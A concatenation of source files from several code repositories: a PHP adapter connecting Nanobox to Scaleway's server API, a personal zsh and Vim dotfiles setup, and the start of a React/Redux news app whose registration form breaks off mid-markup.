->xAuthToken($authToken)
->body(json_encode($publicKeys))
->sendsJson()
->expectsJson()
->send();
if ($response->code != "200") {
return false;
} else {
return true;
}
}
public function listkeys($authToken, $userID)
{
$url = "https://account.scaleway.com/users/".$userID;
$response = \Httpful\Request::get($url)
->xAuthToken($authToken)
->body($key)
->expectsJson()
->send();
if ($response->code != "200") {
return false;
} else {
return $response;
}
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
class Verify extends REST_Controller {
public function index_post()
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
if ($accessToken === NULL) {
$this->set_response(['errors' => array("You must provide the access token header")], 400);
} else {
$response = $this->scaleway->verifytoken($accessToken);
if (!$response) {
$this->set_response(['errors' => array("Access token unauthorized")], 401);
} else {
$this->set_response(null, 200);
}
}
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Setup extends CI_Controller {
public function index()
{
if(!$this->input->is_cli_request())
{
exit();
}
$email = $this->uri->segment(2);
$password = $this->uri->segment(3);
if ($email == "" || $password == "") {
echo "To setup the Nanobox Scaleway adapter, we need to create an auth token. To do that, pass in your Scaleway email and password.".PHP_EOL.
"This script will return a token (that never expires) that you can enter into Nanobox.".PHP_EOL.
"Run 'php index.php setup \"[email]\" \"[password]\"'".PHP_EOL;
} else {
$token = $this->scaleway->createtoken($email, $password, false);
if ($token === false) {
echo "The username or password you provided was incorrect".PHP_EOL;
} else {
echo $token;
}
}
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
class Catalog extends REST_Controller {
public function index_get()
{
$response = array(
array(
'id' => 'par1',
'name' => 'Paris',
'plans' => array(
array(
'id' => 'cloud',
'name' => 'Cloud Server',
'specs' => array(
array(
'id' => "VC1S",
'ram' => 2048,
'cpu' => 2,
'disk' => 50,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.006,
'dollars_per_mo' => 2.99
),
array(
'id' => "VC1M",
'ram' => 4096,
'cpu' => 4,
'disk' => 100,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.012,
'dollars_per_mo' => 5.99
),
array(
'id' => "VCL1",
'ram' => 8192,
'cpu' => 6,
'disk' => 200,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.02,
'dollars_per_mo' => 9.99
)
)
),
array(
'id' => 'baremetal',
'name' => 'Baremetal Server',
'specs' => array(
array(
'id' => "C2S",
'ram' => 8192,
'cpu' => 4,
'disk' => 50,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.024,
'dollars_per_mo' => 11.99
),
array(
'id' => "C2M",
'ram' => 16384,
'cpu' => 8,
'disk' => 50,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.036,
'dollars_per_mo' => 17.99
),
array(
'id' => "C2L",
'ram' => 32768,
'cpu' => 8,
'disk' => 50,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.048,
'dollars_per_mo' => 23.99
)
)
),
array(
'id' => 'workloadintensive',
'name' => 'Workload Intensive',
'specs' => array(
array(
'id' => "X64-15GB",
'ram' => 15360,
'cpu' => 6,
'disk' => 200,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.050,
'dollars_per_mo' => 24.99
),
array(
'id' => "X64-30GB",
'ram' => 30720,
'cpu' => 8,
'disk' => 400,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.100,
'dollars_per_mo' => 49.99
),
array(
'id' => "X64-60GB",
'ram' => 61440,
'cpu' => 10,
'disk' => 700,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.180,
'dollars_per_mo' => 89.99
),
array(
'id' => "X64-120GB",
'ram' => 122880,
'cpu' => 12,
'disk' => 1000,
'transfer' => "Unlimited",
'dollars_per_hr' => 0.360,
'dollars_per_mo' => 179.99
)
)
)
)
)
);
$this->set_response($response, 200);
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
class Meta extends REST_Controller {
public function index_get()
{
$response = array(
'id' => 'sw',
'name' => 'Scaleway',
'server_nick_name' => 'Server',
'default_region' => 'par1',
'default_size' => 'VC1S',
'default_plan' => 'cloud',
'can_reboot' => true,
'can_rename' => true,
'internal_iface' => 'eth0',
'external_iface' => 'eth0',
'ssh_user' => 'root',
'ssh_auth_method' => 'key',
'ssh_key_method' => 'reference',
'bootstrap_script' => 'https://s3.amazonaws.com/tools.nanobox.io/bootstrap/ubuntu.sh',
'credential_fields' => array(
array('key' => 'access-token', 'label' => 'Auth Token')
),
'instructions' => 'For instructions on how to retrieve a Scaleway access token, visit the repository.'
);
$this->set_response($response, 200);
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
class Keys extends REST_Controller {
public function index_post()
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$name = $this->post('name');
$key = $this->post('key');
$name .= "nanobox-".rand(100000,999999);
if ($accessToken === NULL) {
$this->set_response(['errors' => array("You must provide the access token header")], 400);
} else {
// Find the user ID
$response = $this->scaleway->listorganisations($accessToken);
$userID = $response->organizations[0]->users[0]->id;
$publicKeys = $response->organizations[0]->users[0]->ssh_public_keys;
if (!is_array($publicKeys)) {
$this->set_response(['errors' => array("Couldn't retrieve existing public keys")], 500);
} else {
$updatedKeys = array();
foreach ($publicKeys as $publicKey) {
$thisKey = new \stdClass();
$thisKey->key = $publicKey->key;
$updatedKeys[] = $thisKey;
}
$newKey = array('key' => $key." ".$name);
$updatedKeys[] = $newKey;
$response = $this->scaleway->updatekeys($accessToken, $userID, $updatedKeys);
if (!$response) {
$this->set_response(['errors' => array("Request failed")], 500);
} else {
$response = array('id' => $name);
$this->set_response($response, 201);
}
}
}
}
public function index_get($key)
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$response = $this->scaleway->listorganisations($accessToken);
$publicKeys = $response->organizations[0]->users[0]->ssh_public_keys;
$publicKeyFound = false;
foreach ($publicKeys as $publicKey) {
if (strpos($publicKey->key, $key) !== false) {
$publicKeyFound = $publicKey->key;
$publicKeyFound = str_replace(" ".$key, "", $publicKeyFound);
}
}
if ($publicKeyFound === false) {
$this->set_response(['errors' => array("SSH key not found")], 404);
} else {
$response = array('id' => $key, 'name' => $key, 'public_key' => $publicKeyFound);
$this->set_response($response, 201);
}
}
public function index_delete($key)
{
if ($key == "") {
$this->set_response(null, 200);
} else {
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
if ($accessToken === NULL) {
$this->set_response(['errors' => array("You must provide the access token header")], 400);
} else {
// Find the user ID
$response = $this->scaleway->listorganisations($accessToken);
$userID = $response->organizations[0]->users[0]->id;
$publicKeys = $response->organizations[0]->users[0]->ssh_public_keys;
if (!is_array($publicKeys)) {
$this->set_response(['errors' => array("Couldn't retrieve existing public keys")], 500);
} else {
$updatedKeys = array();
$publicKeyFound = false;
foreach ($publicKeys as $publicKey) {
if (strpos($publicKey->key, $key) !== false) {
$publicKeyFound = true;
} else {
$thisKey = new \stdClass();
$thisKey->key = $publicKey->key;
$updatedKeys[] = $thisKey;
}
}
if (!$publicKeyFound) {
$this->set_response(['errors' => array("Public key doesn't exist")], 404);
} else {
$response = $this->scaleway->updatekeys($accessToken, $userID, $updatedKeys);
if (!$response) {
$this->set_response(['errors' => array("Request failed")], 500);
} else {
$this->set_response(null, 200);
}
}
}
}
}
}
}
<file_sep># Nanobox Cloud Provider adapter for Scaleway
DEPRECATED - Nanobox now provided an official adapter for Scaleway.
Unofficial!
### How to setup
Deploy this code to a web server. Then input the web address as a Custom Provider inside Nanobox.
Visit [this page](https://www.scaleway.com/docs/generate-an-api-token) for instructions on how to generate a Scaleway API token.
### Untested
Scaling servers
### Known limitations
Only supports Individual accounts (not Corporate)
### Future improvements
Support for the ams1 region
Permanent IPs - currently IPs are destroyed along with the server. This includes during scaling operations
Better error handling for when the API is down, servers are out of stock or when server quotas are reached.
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
$config['install_image_id'] = "d0c50b37-f0f5-4924-97b0-1fd40c457efe";
|
daacf57cdb037d2fcd76ddffff2b8dcdd0604fc5
|
[
"Markdown",
"PHP"
] | 9
|
PHP
|
joelkennedy/nanobox-adapter-scaleway
|
7bdd29f0fed89c0f41fbb2389c59b13b5e273963
|
a78e8eacaf054f2a21682ec33c9c8bf58dcbd088
|
refs/heads/master
|
<file_sep>growl() {
local msg="\\e]9;\n${*}\\007"
case $TERM in
screen*)
echo -ne '\eP'${msg}'\e\\' ;;
*)
echo -ne ${msg} ;;
esac
return
}
<file_sep>if [[ -e ~/.oh-my-zsh/oh-my-zsh.sh ]]; then
ZSH=~/.oh-my-zsh
elif [[ -e /usr/share/oh-my-zsh/oh-my-zsh.sh ]]; then
ZSH=/usr/share/oh-my-zsh
fi
if [[ -n $ZSH ]]; then
ZSH_THEME="refined"
DISABLE_AUTO_UPDATE="true"
DISABLE_UNTRACKED_FILES_DIRTY="true"
HIST_STAMPS="yyyy-mm-dd"
if [[ $OSTYPE == "darwin"* ]]; then
plugins=(git colored-man osx node npm)
elif [[ $OSTYPE == "linux"* ]]; then
plugins=(git colored-man)
fi
source $ZSH/oh-my-zsh.sh
fi
if which pyenv > /dev/null; then eval "$(pyenv init -)"; fi
BASE16_SHELL=$HOME/.config/base16-shell/
[ -n "$PS1" ] && [ -s $BASE16_SHELL/profile_helper.sh ] && eval "$($BASE16_SHELL/profile_helper.sh)"
export PATH="$HOME/bin:/usr/local/bin:$PATH"
export MANPATH="/usr/local/man:$MANPATH"
export SSH_KEY_PATH="~/.ssh/id_rsa"
export EDITOR="vim"
export LESSHISTFILE="/dev/null"
# Custom functions
. ~/.dotfiles/zsh/scripts/growl.sh
# Disable flow control (http://blog.sanctum.geek.nz/terminal-annoyances/)
stty -ixon
alias ls="ls -GF"
alias vi="vim"
alias cp="cp -i"
alias mv="mv -i"
alias texmk="latexmk -pdf -pvc"
# I will never learn
alias -g extract="-zxvf"
alias -g compress="-zcvf"
test -e "${HOME}/.iterm2_shell_integration.zsh" && source "${HOME}/.iterm2_shell_integration.zsh"
export NVM_DIR="$HOME/.nvm"
. "/usr/local/opt/nvm/nvm.sh"
<file_sep>install:
@echo 'Trying to link files into home directory ...'
@ln -siv `pwd`/git/gitconfig ~/.gitconfig
@ln -siv `pwd`/ssh/config ~/.ssh/config
@ln -siv `pwd`/zsh/zshrc ~/.zshrc
@ln -siv `pwd`/latexmkrc ~/.latexmkrc
@[[ -d ~/.vim ]] || ln -siv `pwd`/vim ~/.vim
@ln -siv `pwd`/vim/vimrc.vim ~/.vimrc
@ln -siv `pwd`/vim/gvimrc.vim ~/.gvimrc
|
0d8fe004d0159a7d8cf422d816fb3babd0bed914
|
[
"Makefile",
"Shell"
] | 3
|
Shell
|
antoneri/dotfiles
|
ae63be36ec265613fce0f9b92dd0114dee721978
|
532be47005ef243ca0a951efb13f64a5b59741ac
|
refs/heads/master
|
<file_sep>//Déclaration du module newApp et insertion dans la variable app
var app = angular.module('newApp', []);
//Création d'un controlleur showHide et création d'une fonction
app.controller('showHide', function($scope) {
//Déclaration de la variable paragraphe
$scope.paragraphe = 'Le roman est ennemi de la vitesse, la lecture doit être lente et le lecteur doit rester sous le charme d\'une page, d\'un paragraphe, d\'une phrase même.';
//Déclaration de la fonction showText()
$scope.showText = function() {
//Application de la valeur 'true' a l'attribut parag de ng-show
$scope.parag = 'true';
}
//Déclaration de la fonction hideText()
$scope.hideText = function() {
//Application de la valeur 'false' a l'attribut parag de ng-show
$scope.parag = 'false';
}
});
|
0da82a5df9c50e3e932c1e2b9c8c17316f9f146c
|
[
"JavaScript"
] | 1
|
JavaScript
|
fadikamohamed/Ap4exercice5
|
375e89aa20e998620896b306b38e938bb1f74b92
|
a530dc45a307edb3439131b296bbfd72d9e5877f
|
refs/heads/master
|
<repo_name>go-0116/streamlit<file_sep>/0406.py
import pandas as pd
import numpy as np
import streamlit as st
import pydeck as pdk
city = st.text_input('区を教えてください')
df = pd.read_excel('UberEats加盟_20210405.xlsx')
df = df[df['市区郡名'] == city]
st.pydeck_chart(pdk.Deck(
map_style='mapbox://styles/mapbox/light-v9',
initial_view_state=pdk.ViewState(
latitude=35.71,
longitude=139.71,
zoom=11,
pitch=50,
),
layers=[
pdk.Layer(
'HexagonLayer',
data=df,
get_position='[lon, lat]',
radius=50,
elevation_scale=4,
elevation_range=[0, 1000],
pickable=False,
extruded=False,
),
],
))
|
e635a757018ed5a3bc95cc5283bc48e67f152e89
|
[
"Python"
] | 1
|
Python
|
go-0116/streamlit
|
3477906f061ea68b610356f4d8091d0633ad68ad
|
a993c179d973497a6a950ed6a6797eb854ca1a84
|
refs/heads/main
|
<file_sep>
initTitle=function()
love.update=updateTitle
love.draw=drawTitle
end
drawTitle=function()
love.graphics.print("Trabitboy bullet jam 2021",20,200,0,6,6)
love.graphics.print("press space to shoot ",200,400,0,6,6)
love.graphics.print("arrows to move ",200,600,0,6,6)
end
updateTitle=function()
if love.keyboard.isDown("space") then
startGame()
end
end
<file_sep># trabitboy_bulletjam21
video:
https://youtu.be/qzdtlNYXvdk
itch io page:
https://trabitboy.itch.io/trabitboy-ld48
<file_sep>require('title')
initTitle()
function tablelength(T)
local count = 0
for _ in pairs(T) do count = count + 1 end
return count
end
--wave definition with 10s countdown
wavecountdown=3
lasttime=0
--shoot on side ???? when space pressed
--glow that is a variable for ennemy touched
--explosions ? chained circle with alpha
--dodging is not satisfying ,
--ennemy bullets should be round,
-- solution : display hitbox at center of
-- bullet
--or collisions exact
--clean up bullets going out of screen
-- 2 levels of speed ( one holding, one releasing )
--title
--every 10s reinforcement ? strange ? scroll to new screen every 10s ?
--new bg every 10 S ? 2 bgs one that scrolls , one in between 10s
--super weapon every 10 s ?
--screen import from zaz2nim for ennemies ?
defaultradius=20
bulletradius=5
dftplycooldown=10
--let's make them slightly bigger TODO
plybltrad=20
ply={
--ref
tapspd=10,
holdspd=5,
maskradius=5,
bltradius=25,
--data
cooldown=0,
x=600,
y=900,
--switched when holding / releasing button
spd=10,
dead=false,
resetcounter=0 -- once dead, before going to title
}
ccoll=function(x1,y1,r1,x2,y2,r2)
--pythagore
-- sq(x2-x1) + sq(y2 - y1) = sq(r1+r2)
--if sq (r1 + r2 )> coll
if (r1+r2)*(r1+r2)>( (x2-x1)*(x2-x1) + (y2-y1)*(y2-y1) ) then
return true
end
return false
end
--with this I can test ennemy types immediately ( no map data )
wav1=function()
createStaticEnnemy(
{
type='static',
x=100,
y=100,
hp=10,
data={
-- for static
rate=20,
fspeed=5,
-- dir=radiant,
-- multiple=3
}
}
)
createStaticEnnemy(
{
type='static',
x=900,
y=100,
hp=10,
data={
-- for static
rate=30,
fspeed=5,
-- dir=radiant,
-- multiple=3
}
}
)
createStaticEnnemy(
{
type='static',
x=1080/2,
y=400,
hp=10,
data={
-- for static
rate=20,
fspeed=5,
-- dir=radiant,
-- multiple =3
}
}
)
end
wav2=function()
--ennemy factory
--{
-- type='static',
-- x=,
-- y,
-- data={
-- -- for static
-- rate=num,
-- fspeed=num,
-- dir=radiant,
-- multiple=
-- }
-- }
createStaticEnnemy(
{
type='static',
x=200,
y=100,
hp=10,
data={
-- for static
rate=20,
fspeed=10,
-- dir=radiant,
multiple=3
}
}
)
createStaticEnnemy(
{
type='static',
x=800,
y=100,
hp=10,
data={
-- for static
rate=30,
fspeed=5,
-- dir=radiant,
multiple=3
}
}
)
createStaticEnnemy(
{
type='static',
x=1080/2,
y=300,
hp=10,
data={
-- for static
rate=20,
fspeed=10,
-- dir=radiant,
multiple=3
}
}
)
end
--{
-- type='rotating',
-- x=, rendered center
-- y, rendered center
-- data={
-- rotspeed=radiant
-- rate=num,
-- fspeed=num,
-- dir=radiant,
-- xc, xcenter
-- yc, ycenter
-- radius
-- }
-- }
wav3=function()
wav3health=10
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav3health,
data={
rotspeed=math.pi/100,
rate=10,
fspeed=3,
dir=0,
xc=500,
yc=500,
radius=100
}
}
)
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav3health,
data={
rotspeed=math.pi/100,
rate=10,
fspeed=3,
dir=math.pi/4,
xc=500,
yc=500,
radius=100
}
}
)
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav3health,
data={
rotspeed=math.pi/100,
rate=10,
fspeed=3,
dir=math.pi,
xc=500,
yc=500,
radius=100
}
}
)
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav3health,
data={
rotspeed=math.pi/100,
rate=10,
fspeed=3,
dir=3*math.pi/4,
xc=500,
yc=500,
radius=100
}
}
)
end
wav4=function()
wav4health=10
wav4radius=50
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav4health,
data={
rotspeed=-math.pi/100,
rate=10,
fspeed=3,
dir=0,
xc=500,
yc=500,
radius=wav4radius
}
}
)
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav4health,
data={
rotspeed=-math.pi/100,
rate=10,
fspeed=3,
dir=math.pi/4,
xc=500,
yc=500,
radius=wav4radius
}
}
)
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav4health,
data={
rotspeed=-math.pi/100,
rate=10,
fspeed=3,
dir=math.pi,
xc=500,
yc=500,
radius=wav4radius
}
}
)
createRotatingEnnemy(
{
type='rotating',
x=-100,
y=-100,
hp=wav4health,
data={
rotspeed=-math.pi/100,
rate=10,
fspeed=3,
dir=3*math.pi/4,
xc=500,
yc=500,
radius=wav4radius
}
}
)
end
initwaveslist=function()
waves={
wav1,
wav2,
wav3,
wav4
}
nextwave=1
end
initwaveslist()
--levels are vertical, suite of screens with markers
lvly=0
bltbase=20
--ply bullets
blts={}
--ennemy bullets
eblts={}
--gameobjects
gos={}
dfltgordr=function(o)
love.graphics.circle('fill',o.x,o.y,defaultradius)
end
staticbhv=function(st)
st.fcnt=st.fcnt+1
if st.fcnt >st.data.rate then
st.fcnt=1
fire(st.x,st.y,st.data.fspeed,st.data.dir,bhvennemyfire,rdrenblt)
if st.data.multiple==3 then
fire(st.x,st.y,st.data.fspeed,st.data.dir-math.pi/4,bhvennemyfire,rdrenblt)
fire(st.x,st.y,st.data.fspeed,st.data.dir+math.pi/4,bhvennemyfire,rdrenblt)
end
end
end
--ennemy factory
--{
-- type='static',
-- x=,
-- y,
-- data={
-- -- for static
-- rate=num,
-- fspeed=num,
-- dir=radiant,
-- multiple=
-- }
-- }
createStaticEnnemy=function(ldata)
--TODO hardcoded for static multiple
len={}
len.x=ldata.x
len.y=ldata.y
len.hp=ldata.hp
len.data={
rate=ldata.data.rate,
fspeed=ldata.data.fspeed,
dir=math.pi/2,
multiple=ldata.data.multiple
}
len.bhv=staticbhv
len.rdr=dfltgordr
--transient
len.fcnt=1
table.insert(gos,len)
end
--{
-- type='rotating',
-- x=, rendered center
-- y, rendered center
-- data={
-- rotspeed=radiant
-- rate=num,
-- fspeed=num,
-- dir=radiant,
-- xc, xcenter
-- yc, ycenter
-- radius
-- }
-- }
rotatingbhv=function(rt)
rt.fcnt=rt.fcnt+1
if rt.fcnt >rt.data.rate then
rt.fcnt=1
fire(rt.x,rt.y,rt.data.fspeed,rt.data.dir,bhvennemyfire,rdrenblt)
-- if rt.data.multiple==3 then
-- fire(rt.x,rt.y,rt.data.fspeed,rt.data.dir-math.pi/4,bhvennemyfire,rdrenblt)
-- fire(rt.x,rt.y,rt.data.fspeed,rt.data.dir+math.pi/4,bhvennemyfire,rdrenblt)
-- end
end
--move on cirle defined by x, y , radius
rt.data.dir=rt.data.dir+rt.data.rotspeed
rt.x= rt.data.radius*math.cos(rt.data.dir) +rt.data.xc
rt.y= rt.data.radius*math.sin(rt.data.dir) +rt.data.yc
end
createRotatingEnnemy=function(ldata)
len={}
len.x=ldata.x
len.y=ldata.y
len.hp=ldata.hp
len.data={
rotspeed=ldata.data.rotspeed,
rate=ldata.data.rate,
fspeed=ldata.data.fspeed,
dir=ldata.data.dir,
multiple=ldata.data.multiple,
radius=ldata.data.radius,
xc=ldata.data.xc,
yc=ldata.data.yc
}
len.bhv=rotatingbhv
len.rdr=dfltgordr
--transient
len.fcnt=1
table.insert(gos,len)
end
bltscreencheck=function(b,idx)
if b.x>1080 or b.x<0 or b.y<0 or b.y>1080 then
table.remove(blts,idx)
end
end
-- explosion x y radius
explosionbhv=function(e,idx)
e.radius = e.radius -1
if e.radius <0 then
table.remove(gos,idx)
end
end
explosionrdr=function(e)
love.graphics.setColor(0.,1.,1.)
love.graphics.circle("fill",e.x,e.y,e.radius)
end
triggerexplosion= function( lx,ly )
lexp={x=lx,y=ly,radius=100,collide=false}
lexp.bhv=explosionbhv
lexp.rdr=explosionrdr
table.insert(gos,lexp)
end
--kills ply
bhvennemyfire=function(b,idx)
--TODO replace by bhv
if ply.dead==false then
if ccoll(ply.x,ply.y,ply.maskradius,b.x,b.y,bulletradius) then
print('game over')
triggerexplosion(ply.x,ply.y)
ply.dead=true
ply.resetcounter=300
-- love.event.quit("restart")
-- initTitle()
end
end
-- b.y=b.y-15
b.x=b.x+b.vx
b.y=b.y+b.vy
--TODO top check
bltscreencheck(b,idx)
end
--damages ennemies
bhvplyfire=function(b,idx)
for j,o in ipairs (gos)
do
if o.collide==false then
--kb has no tilde
else
if ccoll(o.x,o.y,defaultradius,b.x,b.y,ply.bltradius) then
o.hp=o.hp-1
if o.hp<1 then
print ('go dead')
triggerexplosion(o.x,o.y)
table.remove(gos,j)
end
table.remove(blts,idx)
end
end
end
--TODO replace by bhv
-- if ccoll(ply.x,ply.y,defaultradius,b.x,b.y,bulletradius) then
-- print('game over')
-- love.event.quit()
-- end
-- b.y=b.y-15
b.x=b.x+b.vx
b.y=b.y+b.vy
--TODO top check
bltscreencheck(b,idx)
end
rdrenblt=function(b)
love.graphics.setColor(1.0,0.,0.,0.5)
love.graphics.polygon('fill',b.x-bltbase,b.y-bltbase/2,b.x+bltbase,b.y-bltbase/2,b.x,b.y+bltbase/2)
love.graphics.setColor(1.0,0.,0.,1.)
love.graphics.circle("fill",b.x,b.y,bulletradius)
end
rdrplyblt=function(b)
lzoom=ply.bltradius/8
-- love.graphics.polygon('fill',b.x-bltbase,b.y,b.x+bltbase,b.y,b.x,b.y-bltbase)
love.graphics.setColor(0.5,0.5,1.,0.2)
love.graphics.polygon('fill',b.x-bltbase*lzoom,b.y+bltbase*lzoom/2,b.x+bltbase*lzoom,b.y+bltbase*lzoom/2,b.x,b.y-bltbase*lzoom/2)
love.graphics.setColor(0.0,0.,1.,7.)
love.graphics.circle("fill",b.x,b.y,ply.bltradius)
end
fire=function(lx,ly,lspd,langle,lbhv,lrdr)
--cos = cote adjacent (vx) sur hyp
tvx= math.cos(langle)*lspd
--sinus = cote op ( vy ) sur hyp
tvy= math.sin(langle)*lspd
print(' vx '..tvx..' vy '..tvy)
blt={x=lx,y=ly,vx=tvx,vy=tvy,bhv=lbhv,rdr=lrdr}
table.insert(blts,blt)
end
love.window.setMode(1080,1080)
--dev debug
--wav1()
--wav2()
--vector style
renderbg=function()
love.graphics.setColor(0.,.3,0.,1.)
--based on lvl y we render 2 slots
screenNum=math.floor(lvly/1080)
ltop=lvly%1080
love.graphics.line(0,ltop,1080,ltop)
end
drawGame=function()
renderbg()
-- love.graphics.print("lvl y "..lvly)
love.graphics.print("wave countdown "..wavecountdown,x,y,0,4,4)
--ens
love.graphics.setColor(1.0,.0,.0,1.0)
for i,o in ipairs (gos)
do
-- love.graphics.circle('fill',o.x,o.y,defaultradius)
o.rdr(o)
end
if ply.dead==false then
--ply
love.graphics.setColor(1.0,1.0,1.0,1.0)
love.graphics.circle('fill',ply.x,ply.y,defaultradius)
love.graphics.setColor(0.0,0.0,1.0,1.0)
love.graphics.circle('fill',ply.x,ply.y,ply.maskradius)
end
--blts
for i,b in ipairs (blts)
do
b.rdr(b)
--love.graphics.polygon('fill',b.x-bltbase,b.y,b.x+bltbase,b.y,b.x,b.y-bltbase)
--TODO top check
end
if ply.dead==true then
love.graphics.print("GAME OVER",200,300,0, 6 ,6)
end
if victory==true then
love.graphics.print("VICTORY (^o^)",200,300,0, 6 ,6)
end
end
updateGame=function()
lcur=love.timer.getTime()
if lasttime>0 then
wavecountdown=wavecountdown-(lcur-lasttime)
end
lasttime=lcur
if wavecountdown<0 then
if waves[nextwave] == nil then
--
else
waves[nextwave]()
nextwave=nextwave+1
wavecountdown=10
end
end
if ply.dead==false then
if love.keyboard.isDown('space') then
if ply.cooldown<=0 then
fire(ply.x,ply.y,10,-math.pi/2,bhvplyfire,rdrplyblt)
ply.cooldown=dftplycooldown
else
ply.cooldown=ply.cooldown-1
end
ply.spd=ply.holdspd
else
ply.spd=ply.tapspd
end
if love.keyboard.isDown('left') then
ply.x=ply.x-ply.spd
end
if love.keyboard.isDown('right') then
ply.x=ply.x+ply.spd
end
if love.keyboard.isDown('up') then
ply.y=ply.y-ply.spd
end
if love.keyboard.isDown('down') then
ply.y=ply.y+ply.spd
end
end
lvly=lvly+10
--gos
for i,o in ipairs (gos)
do
o.bhv(o)
--TODO top check
end
--blts
for i,b in ipairs (blts)
do
b.bhv(b,i)
--TODO replace by bhv
-- if ccoll(ply.x,ply.y,defaultradius,b.x,b.y,bulletradius) then
-- print('game over')
-- love.event.quit()
-- end
-- b.x=b.x+b.vx
-- b.y=b.y+b.vy
end
if waves[nextwave]==nil and tablelength(gos)==0 then
victory=true
ply.resetcounter=2000
end
if ply.dead==true or victory==true then
ply.resetcounter=ply.resetcounter-1
if ply.resetcounter<0 then
love.event.quit("restart")
end
end
end
startGame = function()
love.draw=drawGame
love.update=updateGame
end
|
a960b60414520f4a17836cb6f660c088eafc2284
|
[
"Markdown",
"Lua"
] | 3
|
Lua
|
trabitboy/trabitboy_bulletjam21
|
9964c484f3789f368c63cbd12f9ddbce62ff4a2f
|
4cfcf69a550c253cb1b464cef978adaea20835e6
|
refs/heads/master
|
<repo_name>IAmHammadAli/vod-frontend<file_sep>/src/Ducks/index.js
import { combineReducers } from 'redux';
import account from './account';
import news from './news';
const rootReducer = combineReducers({
account,
news
});
export default rootReducer;<file_sep>/src/Routes/index.js
import React from "react";
import {
BrowserRouter as Router,
Switch,
Route
} from "react-router-dom";
import SignIn from '../Components/Containers/SignIn';
import Register from '../Components/Containers/Register';
import MainScreen from '../Components/Containers/MainScreen';
import AddNews from '../Components/Containers/AddNews';
import { selectors as accountSelectors } from '../Ducks/account';
import { connect } from 'react-redux';
class Routes extends React.Component {
render() {
if (!this.props.loggedIn) {
return (
<Router>
<Switch>
<Route exact path="/">
<SignIn />
</Route>
<Route path="/register">
<Register />
</Route>
</Switch>
</Router>
);
}
return (
<Router>
<Switch>
<Route exact path="/">
<MainScreen />
</Route>
<Route path="/articles">
<Register />
</Route>
<Route path="/news">
<Register />
</Route>
<Route path="/add-news">
<AddNews />
</Route>
</Switch>
</Router>
);
}
}
const mapStateToProps = (state) => ({
loggedIn: accountSelectors.isLoggedIn(state),
});
export default connect(mapStateToProps, {})(Routes);<file_sep>/src/Components/Containers/Register.js
import React from 'react';
import Avatar from '@material-ui/core/Avatar';
import Button from '@material-ui/core/Button';
import CssBaseline from '@material-ui/core/CssBaseline';
import TextField from '@material-ui/core/TextField';
import Link from '@material-ui/core/Link';
import Grid from '@material-ui/core/Grid';
import LockOutlinedIcon from '@material-ui/icons/LockOutlined';
import Typography from '@material-ui/core/Typography';
import Container from '@material-ui/core/Container';
import { selectors as accountSelectors, actions as accountAcctions } from '../../Ducks/account';
import { bindActionCreators } from 'redux';
import { connect } from 'react-redux';
import { withStyles } from '@material-ui/core/styles';
import { withRouter } from 'react-router-dom';
const useStyles = theme => ({
'@global': {
body: {
backgroundColor: theme.palette.common.white,
},
},
paper: {
marginTop: theme.spacing(8),
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
},
avatar: {
margin: theme.spacing(1),
backgroundColor: theme.palette.secondary.main,
},
form: {
width: '100%', // Fix IE 11 issue.
marginTop: theme.spacing(1),
},
submit: {
margin: theme.spacing(3, 0, 2),
},
link: {
cursor: 'pointer'
}
});
class Register extends React.Component {
constructor(props) {
super(props);
this.state = {
FirstName: '',
LastName: '',
UserName: '',
Password: '',
errorMessage: ''
}
}
handleRegister = () => {
const { UserName, Password, FirstName, LastName } = this.state;
if (UserName && Password && FirstName && LastName) {
this.props.register(this.state)
this.setState({ errorMessage: '' });
} else {
this.setState({ errorMessage: 'Enter Required Field!' });
}
}
componentDidUpdate(prevProps) {
const { success } = this.props;
if (success && !prevProps.success) {
this.props.history.push('/');
}
}
handleChange = ({ target: { name, value } }) => {
this.setState({ [name]: value });
}
render() {
const { classes } = this.props;
const { Password, FirstName, LastName, UserName, errorMessage } = this.state;
return (
<Container component="main" maxWidth="xs">
<CssBaseline />
<div className={classes.paper}>
<Avatar className={classes.avatar}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign up
</Typography>
<Grid container spacing={2}>
<Grid item xs={12} sm={6}>
<TextField
value={FirstName}
onChange={this.handleChange}
autoComplete="fname"
name="FirstName"
variant="outlined"
required
fullWidth
id="firstName"
label="First Name"
autoFocus
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
value={LastName}
onChange={this.handleChange}
variant="outlined"
required
fullWidth
id="LastName"
label="Last Name"
name="LastName"
autoComplete="lname"
/>
</Grid>
<Grid item xs={12}>
<TextField
value={UserName}
onChange={this.handleChange}
variant="outlined"
required
fullWidth
id="email"
label="Email Address"
name="UserName"
autoComplete="email"
/>
</Grid>
<Grid item xs={12}>
<TextField
value={Password}
